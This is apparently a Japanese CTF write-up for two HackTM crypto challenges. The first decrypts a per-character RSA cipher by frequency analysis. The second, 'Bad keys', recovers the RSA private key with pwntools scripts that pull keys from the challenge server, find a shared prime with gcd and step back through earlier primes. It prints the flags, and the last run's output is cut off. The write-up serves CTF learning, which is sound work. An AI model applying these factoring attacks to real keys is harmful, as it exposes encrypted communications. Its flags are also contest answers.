18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12932315605361356260109350737202295649066381035837249252185795202913980480440863417983883037159810577739986004162343142150811156736478717833534910573828843843135123757197342268856313199793884733585941943828474996180460900240457279087457908434717560236156491751130556115885434115169341757101655831937772066303, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 2491776416157094729247228546388058805100982106803126656760544775570831165844468695126053157622604400534191689984239642501431889749664796813015093832003828115405081489372948999096884256544945626310866557608968099061130574640407181237631369536699135922165700470873033015069995508536990789193832860645907343986, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 21825516420085786633620414923499927809866106375209997536887923519665612310710893091548347638116562999505810709467483467910561336083489137335015281764912210385860293937794761219080479166302700347936082258520119437027319181174057624695351433300415797052703957131305247757258587758932996789777812701543305273524, 12932315605361356260109350737202295649066381035837249252185795202913980480440863417983883037159810577739986004162343142150811156736478717833534910573828843843135123757197342268856313199793884733585941943828474996180460900240457279087457908434717560236156491751130556115885434115169341757101655831937772066303, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 27576274928869221620126245883590920739381444228403264811604678585326136261919043025439432380393614033747213164606047970194501234144690982453937415512291833747115414764529517980671948859099514533322022692971474660454113892401294955396004739513550951184454650026652626364585678702730119565114784074733394949336, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799]

今回は、公開鍵も隠されているようです。ただし、ファイルサイズがかなり大きくなっています。

ls -lh c
-rwxr-xr-x 1 root root 337K Feb  2 09:50 c

まずは、暗号化されたデータが何パターンあるのかを調べてみました。どうやら、31パターンあるようです。 アルファベット（26文字）+5つの文字？で構成されているようです。

$ tail -n 1 c | sed "s/\[//" | sed "s/\]//" | sed "s/, /\n/g" | sort | uniq | wc -l 
31

とりあえず、適当な31文字を割り当てて出力させてみます。以下のスクリプトで割り当てました。

import string

def main():
    with open("c", "r") as f:
        lines = f.readlines()
    c_flags = lines[4].strip()[1:-1].split(", ")

    key_list = string.ascii_lowercase + "!#$%&"
    pattern = dict(zip(set(c_flags), key_list[:31]))

    for c in c_flags:
        print(pattern[c], end="")
    print()

if __name__ == "__main__":
    main()

実行すると以下のようになります。

$ python solve.py
n$stkfknezkftk&pllscskftka$skseylbk%wzvkfkusifzsukn$eakfkdslfsisuknezkekdyfllfetakst&ybxafptkz&$sgs!kekzfgxlskxzsrupyetupgktrgdsykzaysegknezkeuusukapka$skxleftashakzaysegkapk&yseask&fx$syasha!ka$fzknprlukzssgftclbka$neyaketbk#ysorst&bketelbzfzkp#ka$sk&fx$syashavketuknprlukdskrt&ye&jedlsksistkapka$skgpzakyszpry&s#rlkcpisytgstakftasllfcst&skecst&fsz!kfk#slakzpkzgrckedprakgbke&$fsisgsta!kbseyzkleasyvkfkufz&pisysuka$fzkzegskz&$sgskftkzsisyelkftaypur&apybk&ybxapcyex$bkashazketukarapyfelkxexsyz!k$pnktf&s!kpa$syk&ybxapcyex$syzk$euka$prc$akp#ka$skzegskz&$sgs!krt#pyarteaslbvka$skz&$sgsknezkxyszstasukezkekzfgxlsk$pgsnpyjkezzfctgstakptk$pnkapkrzskslsgstaeybk&ybxaetelbaf&kas&$tforszkapkayfifellbk&ye&jkfa!kzpkgr&$k#pykgbkdyfllfetakz&$sgs!k#ypgka$fzk$rgdlftckshxsyfst&skfklseytsuk$pnksezbkfakfzkapk#ellkftapkek#elzskzstzskp#kzs&ryfabkn$stkusifzftcketkst&ybxafptkelcpyfa$g!kgpzakxspxlskuptmakyselfqsk$pnk#fstufz$lbkuf##f&rlakfakfzkapkusifzsketkst&ybxafptkelcpyfa$gka$eak&etknfa$zaetukekxyplptcsuketukusasygftsukeaae&jkdbkekyszpry&s#rlkpxxptsta!k$syskfzka$sk#lec!kn$stkfak&pgszkapk&ybxapkpyk&eyxsaktsisykypllkbprykpnt

次にこの文字列の頻度分析をしてみます。 今回は以下のサイトで行いました。

tools.m-bsys.com

分析結果は、以下のような感じになりました。

英文の場合、一番多くなる文字は、スペースです。そのため、最も出現回数の多い、kをスペースに置き換えました。 また、次の工程の都合上すべてのアルファベットが存在していたほうがいいので、#とkを置き換えました。

置換作業は、CyberChefで行いました。

n$st f nez ft &pllscs ft a$s seylb %wzv f usifzsu n$ea f dslfsisu nez e dyfllfeta st&ybxafpt z&$sgs! e zfgxls xzsrupyetupg trgdsy zayseg nez euusu ap a$s xleftasha zayseg ap &yseas &fx$syasha! a$fz nprlu zssgftclb a$neya etb 
kysorst&b etelbzfz pk a$s &fx$syashav etu nprlu ds rt&ye&jedls sist ap a$s gpza yszpry&skrl cpisytgsta ftasllfcst&s ecst&fsz! f ksla zp zgrc edpra gb e&$fsisgsta! bseyz leasyv f ufz&pisysu a$fz zegs z&$sgs ft zsisyel ftaypur&apyb 
&ybxapcyex$b ashaz etu arapyfel xexsyz! $pn tf&s! pa$sy &ybxapcyex$syz $eu a$prc$a pk a$s zegs z&$sgs! rtkpyarteaslbv a$s z&$sgs nez xyszstasu ez e zfgxls $pgsnpyj ezzfctgsta pt $pn ap rzs slsgstaeyb &ybxaetelbaf& 
as&$tforsz ap ayfifellb &ye&j fa! zp gr&$ kpy gb dyfllfeta z&$sgs! kypg a$fz $rgdlftc shxsyfst&s f lseytsu $pn sezb fa fz ap kell ftap e kelzs zstzs pk zs&ryfab n$st usifzftc et st&ybxafpt elcpyfa$g! gpza xspxls uptma yselfqs $pn 
kfstufz$lb ufkkf&rla fa fz ap usifzs et st&ybxafpt elcpyfa$g a$ea &et nfa$zaetu e xyplptcsu etu usasygftsu eaae&j db e yszpry&skrl pxxptsta! $sys fz a$s klec! n$st fa &pgsz ap &ybxap py &eyxsa tsisy ypll bpry pnt

上記の文字列をquipqiupにかけてみました。

quipqiup.com

以下、変換結果となります。それっぽい英文になってきました。

w$en i was in &ollege in t$e early %csj i devised w$at i believed was a brilliant en&ryption s&$eme! a simple pseudorandom number stream was added to t$e plaintext stream to &reate &ip$ertext! t$is would seemingly t$wart 
any frequen&y analysis of t$e &ip$ertextj and would be un&ra&kable even to t$e most resour&eful government intelligen&e agen&ies! i felt so smug about my a&$ievement! years laterj i dis&overed t$is same s&$eme in 
several introdu&tory &ryptograp$y texts and tutorial papers! $ow ni&e! ot$er &ryptograp$ers $ad t$oug$t of t$e same s&$eme! unfortunatelyj t$e s&$eme was presented as a simple $omework assignment on $ow to use 
elementary &ryptanalyti& te&$niques to trivially &ra&k it! so mu&$ for my brilliant s&$eme! from t$is $umbling experien&e i learned $ow easy it is to fall into a false sense of se&urity w$en devising an en&ryption algorit$m! 
most people donht realize $ow fiendis$ly diffi&ult it is to devise an en&ryption algorit$m t$at &an wit$stand a prolonged and determined atta&k by a resour&eful opponent! $ere is t$e flag! w$en it &omes to &rypto or &arpet 
never roll your own

ここからは、CyberChefで調整します。

最終的に以下の文書が出てきました。

when i was in college in the early %cs, i devised what i believed was a brilliant encryption scheme. 
a simple pseudorandom number stream was added to the plaintext stream to create ciphertext. 
this would seemingly thwart any frequency analysis of the ciphertext, and would be uncrackable even to the most resourceful government intelligence agencies. 
i felt so smug about my achievement. 
years later, i discovered this same scheme in several introductory cryptography texts and tutorial papers. 
how nice. 
other cryptographers had thought of the same scheme. 
unfortunately, the scheme was presented as a simple homework assignment on how to use elementary cryptanalytic techniques to trivially crack it. 
so much for my brilliant scheme. 
from this humbling experience i learned how easy it is to fall into a false sense of security when devising an encryption algorithm. 
most people donht realize how fiendishly difficult it is to devise an encryption algorithm that can withstand a prolonged and determined attack by a resourceful opponent. 
here is the flag. 
when it comes to crypto or carpet never roll your own

「here is the flag. when it comes to crypto or carpet never roll your own」と書かれているので、 フラグは、HackTM{when_it_comes_to_crypto_or_carpet_never_roll_your_own} となります。

FLAG

HackTM{when_it_comes_to_crypto_or_carpet_never_roll_your_own}

Bad keys（crypto）

問題

I captured this encrypted message a while ago.
Today, I got into their network and managed to take a snapshot of their key server. I don't think more than 10k messages have been sent between when I captured the message and when I took the snapshot.

You can access the snapshot here:
nc 138.68.67.161 60005

Author: stackola
Hint! You do NOT need to get 10k keys from the server to solve this challenge.

添付ファイル

• challenge_files.zip

解答例

zipファイルを展開すると、rsa.py、RSA_PUB、flag.encというファイルが入っていました。 rsa.py は、以下のようになっていました。

def int_to_bytes(x: int) -> bytes:
    return x.to_bytes((x.bit_length() + 7) // 8, 'big')


def int_from_bytes(xbytes: bytes) -> int:
    return int.from_bytes(xbytes, 'big')


def egcd(a, b):
    x, y, u, v = 0, 1, 1, 0
    while a != 0:
        q, r = b//a, b % a
        m, n = x-u*q, y-v*q
        b, a, x, y, u, v = a, r, u, v, m, n
        gcd = b
    return gcd, x, y


def enc(key, plaintext):
    e, n = key
    m = int_from_bytes(plaintext.encode())
    return pow(m, e, n)


def dec(key, ciphertext):
    d, n = key
    plain = ""
    return int_to_bytes(pow(ciphertext, d, n))

# keys: Public: (e,n), Private (d,n)


def generate_keypair(p, q):
    e = 65537
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, d, b = egcd(e, phi)
    # Keys:((pub),  (priv))
    return ((e, n), (d, n))

'''
#demo usage

message = "Hello there"
k = generate_keypair(p, q)
c = enc(k[0], message)
p = dec(k[1], c)

print(k)
print(c)
print(p)
'''

RSA_PUBは、以下のようになっていました。

(65537, 2318553827267041599931064141028026591078453523755133761420994537426231546233197332557815088229590256567177621743082082713100922775483908922217521567861530205737139513575691852244362271068595653732088709994411183164926098663772268120044065766077197167667585331637038825079142327613226776540743407081106744519)

flag.encは、以下のようになっていました。

2255296633936604604490193777189642999170921517383872458719910324954614900683697288325565056935796303372973284169167013060432104141786712034296127844869460366430567132977266285093487512605926172985342614713659881511775812329365735530831957367531121557358020217773884517112603921006673150910870383826703797655

今回は、「RSA is easy」問題と違い、2文字以上で暗号化しているようです。また、RSA鍵を取得するためのサーバも用意されていました。 接続してみると、以下のような出力となっていました。

$ nc 138.68.67.161 60005
Starting key server from snapshot #8055 ...
Enter 'k' to generate the next key
> k
Your RSA keys:
((pub),(priv))
((e,n),(d,n ))
((65537, 157881229359772769714848243968068862463625997582345288232056584741314473985996617962450846231719495546470148462598626085067565208140283367153293493384457457550266123872607654948335527118776973103659245655803667136606703981989414874502738890970876351598067034702209404379539250985879761048604965542951204994791), (53478270451158821961638710466563325721806514187870715068792043039389047530633671393997990989791126869342368825567647290269845736843403733271830603470429994383742221745911931763546385145143651302908921750006314286141259990023811574860761467203121821987998973790435378759450668015181853807551371473198883686617, 157881229359772769714848243968068862463625997582345288232056584741314473985996617962450846231719495546470148462598626085067565208140283367153293493384457457550266123872607654948335527118776973103659245655803667136606703981989414874502738890970876351598067034702209404379539250985879761048604965542951204994791))
Enter 'k' to generate the next key
> 

何個も鍵を取得することができ、かつタイトルが「Bad keys」となっているので、 鍵に使用されている素数が使いまわされているかもしれないと、以下のスクリプトを書いて確認してみました。

#!/usr/bin/env python3
from fractions import gcd
from pwn import *

HOST = '138.68.67.161'
PORT = 60005

def get_n(host, port):
    io = remote(HOST, PORT)
    io.sendlineafter('> ', 'k')
    resp = io.readuntil("Enter 'k' to generate the next key")
    ((e,n),(d,n)) = eval(resp.decode().split('\n')[3])
    log.info('get_n: {}'.format(n))
    io.close()
    return n

def solve_p(n1, n2):
    return gcd(n1, n2)

def main():
    n1 = get_n(HOST, PORT)
    n2 = get_n(HOST, PORT)
    p = solve_p(n1, n2)

    log.info('n1: {}'.format(n1))
    log.info('n2: {}'.format(n2))
    log.info('p: {}'.format(p))

    q1 = n1//p
    q2 = n2//p
    log.info('q1: {}'.format(q1))
    log.info('q2: {}'.format(q2))

    log.info('n1 == p*q1: {}'.format(n1==p*q1))
    log.info('n2 == p*q2: {}'.format(n2==p*q2))

if __name__ == "__main__":
    main()

実行すると、以下のようになりました。予想通り、12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163 が使いまわされているようです。

$ python test.py 
[+] Opening connection to 138.68.67.161 on port 60005: Done
[*] get_n: 53319925448856672322236843509779016248190802092190279777009714966875612646942713462649719504154649958668078165429532291223312452398952372819643710916082310731569654500409619464726423984516505927955056766188809066613629717700838970044823482381151088365001437253473232617915843139237779016158467347011192908383
[*] Closed connection to 138.68.67.161 port 60005
[+] Opening connection to 138.68.67.161 on port 60005: Done
[*] get_n: 24015810877005139987917516906830839587896158648690839014400968518231643036640520047667991009243044790218469792596450951184139421010454791384968733134781801389161064249432268321511602333422088847281701915942249335321977954963168372985886362543554703788878940825322413766469685473405953972039869271009363407371
[*] Closed connection to 138.68.67.161 port 60005
[*] n1: 53319925448856672322236843509779016248190802092190279777009714966875612646942713462649719504154649958668078165429532291223312452398952372819643710916082310731569654500409619464726423984516505927955056766188809066613629717700838970044823482381151088365001437253473232617915843139237779016158467347011192908383
[*] n2: 24015810877005139987917516906830839587896158648690839014400968518231643036640520047667991009243044790218469792596450951184139421010454791384968733134781801389161064249432268321511602333422088847281701915942249335321977954963168372985886362543554703788878940825322413766469685473405953972039869271009363407371
[*] p: 12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163
[*] q1: 4400162394966249759084109006540080878594914334925253131457135935352058605010812844351706613437234231148157078142449546063322706005750408032483092837544941
[*] q2: 1981875762504191220822778089963290298324708790405750814261721622649183949626250545785224757064640775994852515158166919708058115534674041064723827037927217
[*] n1 == p*q1: True
[*] n2 == p*q2: True

求めたpを使って、flag.encを復号しようとしてみましたが、うまくいきませんでした。どうやら、先ほど求めたpは、使われていないようです。

ここで問題文を振り返ってみると、「I captured this encrypted message a while ago.」と書かれています。 少し前なので、現在のpに近い値かつpより小さい素数が使われているかもしれないと考えました。 sympyのprevprimeを使って1つずつ前の素数を辿っていくように調整しました。

#!/usr/bin/env python3
from fractions import gcd
from sympy import prevprime
from egcd import egcd
from Crypto.Util.number import *
from pwn import *

HOST = '138.68.67.161'
PORT = 60005

def get_n(host, port):
    io = remote(HOST, PORT)
    io.sendlineafter('> ', 'k')
    resp = io.readuntil("Enter 'k' to generate the next key")
    ((e,n),(d,n)) = eval(resp.decode().split('\n')[3])
    log.info('get_n: {}'.format(n))
    io.close()
    return n

def solve_p(n1, n2):
    return gcd(n1, n2)

def search_prime(n, current_p):
    p = current_p
    while True:
        p = prevprime(p)
        q = n//p
        if n == p*q:
            break
    return (p, q)

def calc_d(e, p, q):
    phi = (p-1)*(q-1)
    d = egcd(e, phi)[1]
    if d < 0:
        d += phi
    return d

def main():
    n1 = get_n(HOST, PORT)
    n2 = get_n(HOST, PORT)
    current_p = solve_p(n1, n2)

    log.info('n1: {}'.format(n1))
    log.info('n2: {}'.format(n2))
    log.info('currnt_p: {}'.format(current_p))

    with open("RSA_PUB", "r") as f:
        e, n = eval(f.readline())

    log.info('e: {}'.format(e))
    log.info('n: {}'.format(n))

    p, q = search_prime(n, current_p)

    log.info('p: {}'.format(p))
    log.info('q: {}'.format(q))
    
    d = calc_d(e, p, q)
    log.info('d: {}'.format(d))

    with open("flag.enc", "r") as f:
        c = int(f.readline())
    log.info('c: {}'.format(c))

    m = pow(c, d, n)
    log.info('m: {}'.format(long_to_bytes(m).decode("utf-8")))

if __name__ == "__main__":
    main()

実行すると、pを特定することができました。特定したpを使ってflag.encを復号すると、フラグを取得することができました。

$ python solve.py
